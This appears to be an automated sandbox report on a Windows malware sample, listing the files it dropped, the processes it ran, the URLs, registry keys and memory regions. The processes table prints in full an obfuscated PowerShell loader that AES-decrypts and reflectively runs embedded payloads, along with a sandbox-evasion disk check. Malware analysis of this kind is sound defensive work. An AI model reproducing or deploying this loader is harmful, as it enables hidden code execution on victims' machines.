Files
|
File Path
|
Type
|
Category
|
Malicious
|
|
|---|---|---|---|---|
|
XgKnAQpuPM.exe
|
PE32+ executable (GUI) x86-64, for MS Windows
|
initial sample
|
 |
|
|
C:\Users\user\AppData\Local\Temp\IXP000.TMP\vclib.bat
|
DOS batch file, ASCII text, with very long lines (5451), with CRLF line terminators
|
dropped
|
|
|
|
C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_powershell.exe_182771bb2de693611997bcf38ec45e5dde0b99b_e3b0f337_5fde02a2-d24a-4ba3-88bb-27bd6fc5d898\Report.wer
|
Unicode text, UTF-16, little-endian text, with CRLF line terminators
|
dropped
|
||
|
C:\ProgramData\Microsoft\Windows\WER\Temp\WERAC0C.tmp.dmp
|
Mini DuMP crash report, 15 streams, Mon Oct 7 22:29:14 2024, 0x1205a4 type
|
dropped
|
||
|
C:\ProgramData\Microsoft\Windows\WER\Temp\WERB12E.tmp.WERInternalMetadata.xml
|
XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
|
dropped
|
||
|
C:\ProgramData\Microsoft\Windows\WER\Temp\WERB17D.tmp.xml
|
XML 1.0 document, ASCII text, with CRLF line terminators
|
dropped
|
||
|
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
|
data
|
dropped
|
||
|
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
|
data
|
dropped
|
||
|
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uljnmqgm.t34.psm1
|
ASCII text, with no line terminators
|
dropped
|
||
|
C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yeoev2sh.3ro.ps1
|
ASCII text, with no line terminators
|
dropped
|
||
|
C:\Windows\appcompat\Programs\Amcache.hve
|
MS Windows registry file, NT/2000 or above
|
dropped
|
||
|
\Device\Null
|
ASCII text, with very long lines (2734), with CRLF, LF line terminators
|
dropped
|
There are 2 hidden files, click here to show them.
Processes
|
Path
|
Cmdline
|
Malicious
|
|
|---|---|---|---|
|
C:\Windows\System32\cmd.exe
|
cmd /c "vclib.bat"
|
|
|
|
C:\Windows\System32\wbem\WMIC.exe
|
wmic diskdrive get Model
|
|
|
|
C:\Windows\System32\cmd.exe
|
cmd.exe /c echo function FpxON($kXGHT){ $MjRuR=[System.Security.Cryptography.Aes]::Create(); $MjRuR.Mode=[System.Security.Cryptography.CipherMode]::CBC;
$MjRuR.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $MjRuR.Key=[System.Convert]::FromBase64String('j3+l8MVXgSNKBboFFtDIY9ifLLQEhU8Shlqb9W611kU=');
$MjRuR.IV=[System.Convert]::FromBase64String('C7Dlt1nshFAIyjxeP0iXIQ=='); $WVvmF=$MjRuR.CreateDecryptor(); $CVTyC=$WVvmF.TransformFinalBlock($kXGHT,
0, $kXGHT.Length); $WVvmF.Dispose(); $MjRuR.Dispose(); $CVTyC;}function ogptr($kXGHT){ Invoke-Expression '$bJDne=New-Object
blckSblckyblcksblcktblckeblckmblck.blckIblckOblck.blckMblckeblckmblckoblckrblckyStblckrblckeblckamblck(,$kXGHT);'.Replace('blck',
''); Invoke-Expression '$eTtPQ=New-Object blckSblckyblcksblcktblckeblckm.blckIblckOblck.MblckeblckmblckoblckrblckyblckSblcktblckrblckeblckablckmblck;'.Replace('blck',
''); Invoke-Expression '$gtTnv=New-Object Sblckyblcksblcktblckeblckmblck.blckIblckOblck.blckCblckoblckmblckpblckrblckeblckssblckioblcknblck.GblckZiblckpblckSblcktblckrblckeblckablckmblck($bJDne,
[blckIblckOblck.blckCblckoblckmblckpblckrblckeblcksblcksblckiblckoblcknblck.blckCblckoblckmblckpblckrblckeblcksblcksblckiblckoblcknblckMblckoblckdblckeblck]::Dblckecblckomblckprblckesblcks);'.Replace('blck',
''); $gtTnv.CopyTo($eTtPQ); $gtTnv.Dispose(); $bJDne.Dispose(); $eTtPQ.Dispose(); $eTtPQ.ToArray();}function VcYYT($kXGHT,$GOojW){
Invoke-Expression '$CHMLi=blck[blckSblckyblcksblcktblckeblckmblck.blckRblckeblckfblcklblckeblckcblcktblckiblckoblcknblck.blckAblcksblcksblckeblckmblckbblcklblckyblck]blck::blckLblckoblckablckdblck([byte[]]$kXGHT);'.Replace('blck',
''); Invoke-Expression '$WMCoT=$CHMLi.blckEblcknblcktblckrblckyblckPblckoblckiblcknblcktblck;'.Replace('blck', ''); Invoke-Expression
'$WMCoT.blckIblcknblckvblckoblckkblckeblck(blck$blcknblckublcklblcklblck, $GOojW)blck;'.Replace('blck', '');}$YesWH = 'C:\Users\user\AppData\Local\Temp\IXP000.TMP\vclib.bat';$host.UI.RawUI.WindowTitle
= $YesWH;$lzgCG=[System.IO.File]::ReadAllText($YesWH).Split([Environment]::NewLine);foreach ($zwDbB in $lzgCG) { if ($zwDbB.StartsWith('::
')) { $gGIZq=$zwDbB.Substring(3); break; }}$nciXK=[string[]]$gGIZq.Split('\');Invoke-Expression '$mmTjj=ogptr (FpxON (blck[blckCblckoblcknblckvblckeblckrblcktblck]blck:blck:blckFblckrblckoblckmblckBblckablcksblckeblck6blck4blckSblcktblckrblckiblcknblckgblck($nciXK[0])));'.Replace('blck',
'');Invoke-Expression '$gDpGZ=ogptr (FpxON (blck[blckCblckoblcknblckvblckeblckrblcktblck]blck:blck:blckFblckrblckoblckmblckBblckablcksblckeblck6blck4blckSblcktblckrblckiblcknblckgblck($nciXK[1])));'.Replace('blck',
'');VcYYT $mmTjj (,[string[]] (''));VcYYT $gDpGZ (,[string[]] (''));
|
|
|
|
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
|
powershell.exe -WindowStyle Hidden
|
|
|
|
C:\Users\user\Desktop\XgKnAQpuPM.exe
|
"C:\Users\user\Desktop\XgKnAQpuPM.exe"
|
||
|
C:\Windows\System32\conhost.exe
|
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
|
||
|
C:\Windows\System32\findstr.exe
|
findstr /i /c:"DADY HARDDISK" /c:"QEMU HARDDISK" /c:"WDS100T2B0A"
|
||
|
C:\Windows\System32\WerFault.exe
|
C:\Windows\system32\WerFault.exe -u -p 3352 -s 1576
|
||
|
C:\Windows\System32\rundll32.exe
|
"C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\"
|
URLs
|
Name
|
IP
|
Malicious
|
|
|---|---|---|---|
|
http://nuget.org/NuGet.exe
|
unknown
|
||
|
http://pesterbdd.com/images/Pester.png
|
unknown
|
||
|
http://www.apache.org/licenses/LICENSE-2.0.html
|
unknown
|
||
|
https://contoso.com/
|
unknown
|
||
|
https://nuget.org/nuget.exe
|
unknown
|
||
|
https://contoso.com/License
|
unknown
|
||
|
https://aka.ms/pscore6xG
|
unknown
|
||
|
https://contoso.com/Icon
|
unknown
|
||
|
http://upx.sf.net
|
unknown
|
||
|
https://aka.ms/pscore6
|
unknown
|
||
|
https://aka.ms/pscore68
|
unknown
|
||
|
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
|
unknown
|
||
|
https://github.com/Pester/Pester
|
unknown
|
There are 3 hidden URLs, click here to show them.
Domains
|
Name
|
IP
|
Malicious
|
|
|---|---|---|---|
|
198.187.3.20.in-addr.arpa
|
unknown
|
Registry
|
Path
|
Value
|
Malicious
|
|
|---|---|---|---|
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
|
wextract_cleanup0
|
||
|
\REGISTRY\A\{5c32e2f9-4794-cee6-f66e-3aafb7559438}\Root\InventoryApplicationFile\powershell.exe|bd2e1475245f53a2
|
ProgramId
|
||
|
\REGISTRY\A\{5c32e2f9-4794-cee6-f66e-3aafb7559438}\Root\InventoryApplicationFile\powershell.exe|bd2e1475245f53a2
|
FileId
|
||
|
\REGISTRY\A\{5c32e2f9-4794-cee6-f66e-3aafb7559438}\Root\InventoryApplicationFile\powershell.exe|bd2e1475245f53a2
|
LowerCaseLongPath
|
||
|
\REGISTRY\A\{5c32e2f9-4794-cee6-f66e-3aafb7559438}\Root\InventoryApplicationFile\powershell.exe|bd2e1475245f53a2
|
LongPathHash
|
||
|
\REGISTRY\A\{5c32e2f9-4794-cee6-f66e-3aafb7559438}\Root\InventoryApplicationFile\powershell.exe|bd2e1475245f53a2
|
Name
|
||
|
\REGISTRY\A\{5c32e2f9-4794-cee6-f66e-3aafb7559438}\Root\InventoryApplicationFile\powershell.exe|bd2e1475245f53a2
|
OriginalFileName
|
||
|
\REGISTRY\A\{5c32e2f9-4794-cee6-f66e-3aafb7559438}\Root\InventoryApplicationFile\powershell.exe|bd2e1475245f53a2
|
Publisher
|
||
|
\REGISTRY\A\{5c32e2f9-4794-cee6-f66e-3aafb7559438}\Root\InventoryApplicationFile\powershell.exe|bd2e1475245f53a2
|
Version
|
||
|
\REGISTRY\A\{5c32e2f9-4794-cee6-f66e-3aafb7559438}\Root\InventoryApplicationFile\powershell.exe|bd2e1475245f53a2
|
BinFileVersion
|
||
|
\REGISTRY\A\{5c32e2f9-4794-cee6-f66e-3aafb7559438}\Root\InventoryApplicationFile\powershell.exe|bd2e1475245f53a2
|
BinaryType
|
||
|
\REGISTRY\A\{5c32e2f9-4794-cee6-f66e-3aafb7559438}\Root\InventoryApplicationFile\powershell.exe|bd2e1475245f53a2
|
ProductName
|
||
|
\REGISTRY\A\{5c32e2f9-4794-cee6-f66e-3aafb7559438}\Root\InventoryApplicationFile\powershell.exe|bd2e1475245f53a2
|
ProductVersion
|
||
|
\REGISTRY\A\{5c32e2f9-4794-cee6-f66e-3aafb7559438}\Root\InventoryApplicationFile\powershell.exe|bd2e1475245f53a2
|
LinkDate
|
||
|
\REGISTRY\A\{5c32e2f9-4794-cee6-f66e-3aafb7559438}\Root\InventoryApplicationFile\powershell.exe|bd2e1475245f53a2
|
BinProductVersion
|
||
|
\REGISTRY\A\{5c32e2f9-4794-cee6-f66e-3aafb7559438}\Root\InventoryApplicationFile\powershell.exe|bd2e1475245f53a2
|
AppxPackageFullName
|
||
|
\REGISTRY\A\{5c32e2f9-4794-cee6-f66e-3aafb7559438}\Root\InventoryApplicationFile\powershell.exe|bd2e1475245f53a2
|
AppxPackageRelativeId
|
||
|
\REGISTRY\A\{5c32e2f9-4794-cee6-f66e-3aafb7559438}\Root\InventoryApplicationFile\powershell.exe|bd2e1475245f53a2
|
Size
|
||
|
\REGISTRY\A\{5c32e2f9-4794-cee6-f66e-3aafb7559438}\Root\InventoryApplicationFile\powershell.exe|bd2e1475245f53a2
|
Language
|
||
|
\REGISTRY\A\{5c32e2f9-4794-cee6-f66e-3aafb7559438}\Root\InventoryApplicationFile\powershell.exe|bd2e1475245f53a2
|
IsOsComponent
|
||
|
\REGISTRY\A\{5c32e2f9-4794-cee6-f66e-3aafb7559438}\Root\InventoryApplicationFile\powershell.exe|bd2e1475245f53a2
|
Usn
|
There are 11 hidden registries, click here to show them.
Memdumps
|
Base Address
|
Regiontype
|
Protect
|
Malicious
|
|
|---|---|---|---|---|
|
1C690CF8000
|
unkown
|
page read and write
|
|
|
|
1C691B00000
|
unkown
|
page read and write
|
|
|
|
1C6916F8000
|
unkown
|
page read and write
|
|
|
|
1C68BEA1000
|
unkown
|
page read and write
|
|
|
|
22BF5727000
|
heap
|
page read and write
|
||
|
22BF572A000
|
heap
|
page read and write
|
||
|
1C68233F000
|
unkown
|
page read and write
|
||
|
22BF5390000
|
trusted library allocation
|
page read and write
|
||
|
18E1C0E8000
|
heap
|
page read and write
|
||
|
22BF5198000
|
heap
|
page read and write
|
||
|
22BF5890000
|
heap
|
page read and write
|
||
|
100073000
|
stack
|
page read and write
|
||
|
22BF51A2000
|
heap
|
page read and write
|
||
|
1C68BBE3000
|
unkown
|
page read and write
|
||
|
22BF51C8000
|
heap
|
page read and write
|
||
|
22BF517C000
|
heap
|
page read and write
|
||
|
1C69008B000
|
unkown
|
page read and write
|
||
|
22BF589C000
|
heap
|
page read and write
|
||
|
22BF53A5000
|
heap
|
page read and write
|
||
|
22BF71AD000
|
heap
|
page read and write
|
||
|
22BF51B1000
|
heap
|
page read and write
|
||
|
1C6801B6000
|
unkown
|
page read and write
|
||
|
22BF572E000
|
heap
|
page read and write
|
||
|
22BF51C0000
|
heap
|
page read and write
|
||
|
22BF5724000
|
heap
|
page read and write
|
||
|
10140E000
|
unkown
|
page read and write
|
||
|
1C3DC321000
|
heap
|
page read and write
|
||
|
22BF58AB000
|
heap
|
page read and write
|
||
|
362467E000
|
stack
|
page read and write
|
||
|
22BF51A5000
|
heap
|
page read and write
|
||
|
22BF51A2000
|
heap
|
page read and write
|
||
|
22BF71A2000
|
heap
|
page read and write
|
||
|
1C68BB23000
|
unkown
|
page read and write
|
||
|
22BF572A000
|
heap
|
page read and write
|
||
|
22BF58AB000
|
heap
|
page read and write
|
||
|
22BF58C4000
|
heap
|
page read and write
|
||
|
22BF51B2000
|
heap
|
page read and write
|
||
|
22BF51F1000
|
heap
|
page read and write
|
||
|
7FF776D10000
|
unkown
|
page readonly
|
||
|
1C68546D000
|
unkown
|
page read and write
|
||
|
22BF5727000
|
heap
|
page read and write
|
||
|
22BF5198000
|
heap
|
page read and write
|
||
|
1C69006F000
|
unkown
|
page read and write
|
||
|
1C3DC30D000
|
heap
|
page read and write
|
||
|
22BF58C9000
|
heap
|
page read and write
|
||
|
100A3C000
|
unkown
|
page read and write
|
||
|
22BF51C0000
|
heap
|
page read and write
|
||
|
1C68C057000
|
unkown
|
page read and write
|
||
|
10150B000
|
unkown
|
page read and write
|
||
|
22BF58A7000
|
heap
|
page read and write
|
||
|
22BF5370000
|
heap
|
page read and write
|
||
|
22BF51BF000
|
heap
|
page read and write
|
||
|
22BF58B8000
|
heap
|
page read and write
|
||
|
1C680087000
|
unkown
|
page read and write
|
||
|
22BF51C6000
|
heap
|
page read and write
|
||
|
22BF51D4000
|
heap
|
page read and write
|
||
|
1C68BE4C000
|
unkown
|
page read and write
|
||
|
22BF5197000
|
heap
|
page read and write
|
||
|
22BF5270000
|
heap
|
page read and write
|
||
|
22BF58C9000
|
heap
|
page read and write
|
||
|
22BF58C1000
|
heap
|
page read and write
|
||
|
22BF53B0000
|
trusted library allocation
|
page read and write
|
||
|
10083E000
|
stack
|
page read and write
|
||
|
1C680001000
|
unkown
|
page read and write
|
||
|
9A5214C000
|
stack
|
page read and write
|
||
|
10073E000
|
stack
|
page read and write
|
||
|
1C680F3F000
|
unkown
|
page read and write
|
||
|
22BF58A0000
|
heap
|
page read and write
|
||
|
22BF58B8000
|
heap
|
page read and write
|
||
|
22BF51E8000
|
heap
|
page read and write
|
||
|
1C3DC5C5000
|
heap
|
page read and write
|
||
|
1C3DC4C0000
|
heap
|
page read and write
|
||
|
22BF589C000
|
heap
|
page read and write
|
||
|
1C3DC322000
|
heap
|
page read and write
|
||
|
1C68BE57000
|
unkown
|
page read and write
|
||
|
22BF5169000
|
heap
|
page read and write
|
||
|
22BF51FF000
|
heap
|
page read and write
|
||
|
10093E000
|
unkown
|
page read and write
|
||
|
1009BF000
|
unkown
|
page read and write
|
||
|
22BF519A000
|
heap
|
page read and write
|
||
|
1C68053F000
|
unkown
|
page read and write
|
||
|
1C682D3F000
|
unkown
|
page read and write
|
||
|
22BF51C0000
|
heap
|
page read and write
|
||
|
7FF776D19000
|
unkown
|
page readonly
|
||
|
22BF58C1000
|
heap
|
page read and write
|
||
|
1C3DC320000
|
heap
|
page read and write
|
||
|
22BF51BB000
|
heap
|
page read and write
|
||
|
22BF58B9000
|
heap
|
page read and write
|
||
|
36243EE000
|
stack
|
page read and write
|
||
|
22BF5725000
|
heap
|
page read and write
|
||
|
22BF51C1000
|
heap
|
page read and write
|
||
|
18E1C0E0000
|
heap
|
page read and write
|
||
|
1C68373F000
|
unkown
|
page read and write
|
||
|
22BF58AB000
|
heap
|
page read and write
|
||
|
22BF58C1000
|
heap
|
page read and write
|
||
|
18E1DAF0000
|
heap
|
page read and write
|
||
|
22BF5178000
|
heap
|
page read and write
|
||
|
22BF51ED000
|
heap
|
page read and write
|
||
|
18E1C0EE000
|
heap
|
page read and write
|
||
|
22BF58BB000
|
heap
|
page read and write
|
||
|
22BF5198000
|
heap
|
page read and write
|
||
|
22BF51FC000
|
heap
|
page read and write
|
||
|
1C68BAB6000
|
unkown
|
page read and write
|
||
|
22BF58BD000
|
heap
|
page read and write
|
||
|
DE8287D000
|
stack
|
page read and write
|
||
|
22BF5390000
|
trusted library allocation
|
page read and write
|
||
|
22BF51F1000
|
heap
|
page read and write
|
||
|
DE829FF000
|
stack
|
page read and write
|
||
|
22BF5160000
|
heap
|
page read and write
|
||
|
22BF5178000
|
heap
|
page read and write
|
||
|
22BF5898000
|
heap
|
page read and write
|
||
|
18E1C1E0000
|
heap
|
page read and write
|
||
|
1C3DC2C0000
|
heap
|
page read and write
|
||
|
1C6802D2000
|
unkown
|
page read and write
|
||
|
1C68BAD5000
|
unkown
|
page read and write
|
||
|
18E1C0B0000
|
heap
|
page read and write
|
||
|
22BF51ED000
|
heap
|
page read and write
|
||
|
22BF71B4000
|
heap
|
page read and write
|
||
|
1004FE000
|
unkown
|
page read and write
|
||
|
1C3DC31E000
|
heap
|
page read and write
|
||
|
22BF5722000
|
heap
|
page read and write
|
||
|
22BF51A2000
|
heap
|
page read and write
|
||
|
22BF51F4000
|
heap
|
page read and write
|
||
|
7FF776D1E000
|
unkown
|
page readonly
|
||
|
1C68C857000
|
unkown
|
page read and write
|
||
|
1C3DC321000
|
heap
|
page read and write
|
||
|
1C3DC2B0000
|
heap
|
page read and write
|
||
|
22BF51C9000
|
heap
|
page read and write
|
||
|
22BF5202000
|
heap
|
page read and write
|
||
|
1001FE000
|
unkown
|
page read and write
|
||
|
22BF51A4000
|
heap
|
page read and write
|
||
|
22BF58C1000
|
heap
|
page read and write
|
||
|
18E1C0D0000
|
heap
|
page read and write
|
||
|
1C684B3F000
|
unkown
|
page read and write
|
||
|
22BF53AD000
|
heap
|
page read and write
|
||
|
22BF58C9000
|
heap
|
page read and write
|
||
|
22BF51F4000
|
heap
|
page read and write
|
||
|
1003B9000
|
unkown
|
page read and write
|
||
|
22BF51BB000
|
heap
|
page read and write
|
||
|
10067E000
|
stack
|
page read and write
|
||
|
22BF51C6000
|
heap
|
page read and write
|
||
|
22BF53A0000
|
heap
|
page read and write
|
||
|
1C690001000
|
unkown
|
page read and write
|
||
|
22BF51D8000
|
heap
|
page read and write
|
||
|
22BF51D3000
|
heap
|
page read and write
|
||
|
18E1BFD0000
|
heap
|
page read and write
|
||
|
1C68BE59000
|
unkown
|
page read and write
|
||
|
22BF51D4000
|
heap
|
page read and write
|
||
|
22BF51BD000
|
heap
|
page read and write
|
||
|
22BF5199000
|
heap
|
page read and write
|
||
|
22BF58C9000
|
heap
|
page read and write
|
||
|
1C68BC40000
|
unkown
|
page read and write
|
||
|
7FF776D19000
|
unkown
|
page readonly
|
||
|
1C68193F000
|
unkown
|
page read and write
|
||
|
22BF572B000
|
heap
|
page read and write
|
||
|
22BF53B0000
|
trusted library allocation
|
page read and write
|
||
|
10047C000
|
unkown
|
page read and write
|
||
|
22BF5870000
|
heap
|
page read and write
|
||
|
22BF51EE000
|
heap
|
page read and write
|
||
|
22BF58C1000
|
heap
|
page read and write
|
||
|
22BF51BD000
|
heap
|
page read and write
|
||
|
7FF776D11000
|
unkown
|
page execute read
|
||
|
22BF51CE000
|
heap
|
page read and write
|
||
|
7FF776D11000
|
unkown
|
page execute read
|
||
|
22BF51F1000
|
heap
|
page read and write
|
||
|
1005FF000
|
unkown
|
page read and write
|
||
|
22BF5173000
|
heap
|
page read and write
|
||
|
22BF58A7000
|
heap
|
page read and write
|
||
|
1C3DC31E000
|
heap
|
page read and write
|
||
|
22BF51D4000
|
heap
|
page read and write
|
||
|
22BF53AA000
|
heap
|
page read and write
|
||
|
22BF51CF000
|
heap
|
page read and write
|
||
|
22BF51FD000
|
heap
|
page read and write
|
||
|
22BF58A3000
|
heap
|
page read and write
|
||
|
10148B000
|
unkown
|
page read and write
|
||
|
22BF58B8000
|
heap
|
page read and write
|
||
|
1C3DC316000
|
heap
|
page read and write
|
||
|
22BF71A4000
|
heap
|
page read and write
|
||
|
22BF51BD000
|
heap
|
page read and write
|
||
|
1C3DE0BA000
|
heap
|
page read and write
|
||
|
22BF572E000
|
heap
|
page read and write
|
||
|
22BF5720000
|
heap
|
page read and write
|
||
|
22BF5202000
|
heap
|
page read and write
|
||
|
22BF58A4000
|
heap
|
page read and write
|
||
|
22BF58B8000
|
heap
|
page read and write
|
||
|
22BF51FF000
|
heap
|
page read and write
|
||
|
22BF58AB000
|
heap
|
page read and write
|
||
|
22BF51C6000
|
heap
|
page read and write
|
||
|
7FF776D10000
|
unkown
|
page readonly
|
||
|
1007BE000
|
stack
|
page read and write
|
||
|
22BF51C0000
|
heap
|
page read and write
|
||
|
1000FE000
|
unkown
|
page read and write
|
||
|
22BF71AD000
|
heap
|
page read and write
|
||
|
22BF5350000
|
heap
|
page read and write
|
||
|
22BF7180000
|
heap
|
page read and write
|
||
|
7FF776D1C000
|
unkown
|
page write copy
|
||
|
22BF71A0000
|
heap
|
page read and write
|
||
|
22BF51FE000
|
heap
|
page read and write
|
||
|
1C6902F8000
|
unkown
|
page read and write
|
||
|
22BF53AE000
|
heap
|
page read and write
|
||
|
22BF5723000
|
heap
|
page read and write
|
||
|
22BF5897000
|
heap
|
page read and write
|
||
|
1C3DC2F8000
|
heap
|
page read and write
|
||
|
DE82587000
|
stack
|
page read and write
|
||
|
22BF71A1000
|
heap
|
page read and write
|
||
|
1C69000F000
|
unkown
|
page read and write
|
||
|
DE828FE000
|
stack
|
page read and write
|
||
|
22BF5202000
|
heap
|
page read and write
|
||
|
362436C000
|
stack
|
page read and write
|
||
|
18E1C0D5000
|
heap
|
page read and write
|
||
|
22BF71B4000
|
heap
|
page read and write
|
||
|
1C68C457000
|
unkown
|
page read and write
|
||
|
22BF51ED000
|
heap
|
page read and write
|
||
|
22BF572A000
|
heap
|
page read and write
|
||
|
10017E000
|
unkown
|
page read and write
|
||
|
7FF776D1C000
|
unkown
|
page read and write
|
||
|
1C3DC5C0000
|
heap
|
page read and write
|
||
|
22BF58A1000
|
heap
|
page read and write
|
||
|
1C68413F000
|
unkown
|
page read and write
|
||
|
DE82A7E000
|
stack
|
page read and write
|
||
|
1006BF000
|
stack
|
page read and write
|
||
|
22BF51C0000
|
heap
|
page read and write
|
||
|
22BF58B8000
|
heap
|
page read and write
|
||
|
DE8297F000
|
stack
|
page read and write
|
||
|
10057E000
|
unkown
|
page read and write
|
||
|
1C3DC2F0000
|
heap
|
page read and write
|
||
|
7FF776D1E000
|
unkown
|
page readonly
|
||
|
22BF51C5000
|
heap
|
page read and write
|
||
|
22BF71B4000
|
heap
|
page read and write
|
||
|
1C68BE55000
|
unkown
|
page read and write
|
||
|
22BF58C3000
|
heap
|
page read and write
|
||
|
22BF517D000
|
heap
|
page read and write
|
||
|
22BF51D3000
|
heap
|
page read and write
|
||
|
22BF71AD000
|
heap
|
page read and write
|
||
|
22BF58AB000
|
heap
|
page read and write
|
There are 225 hidden memdumps, click here to show them.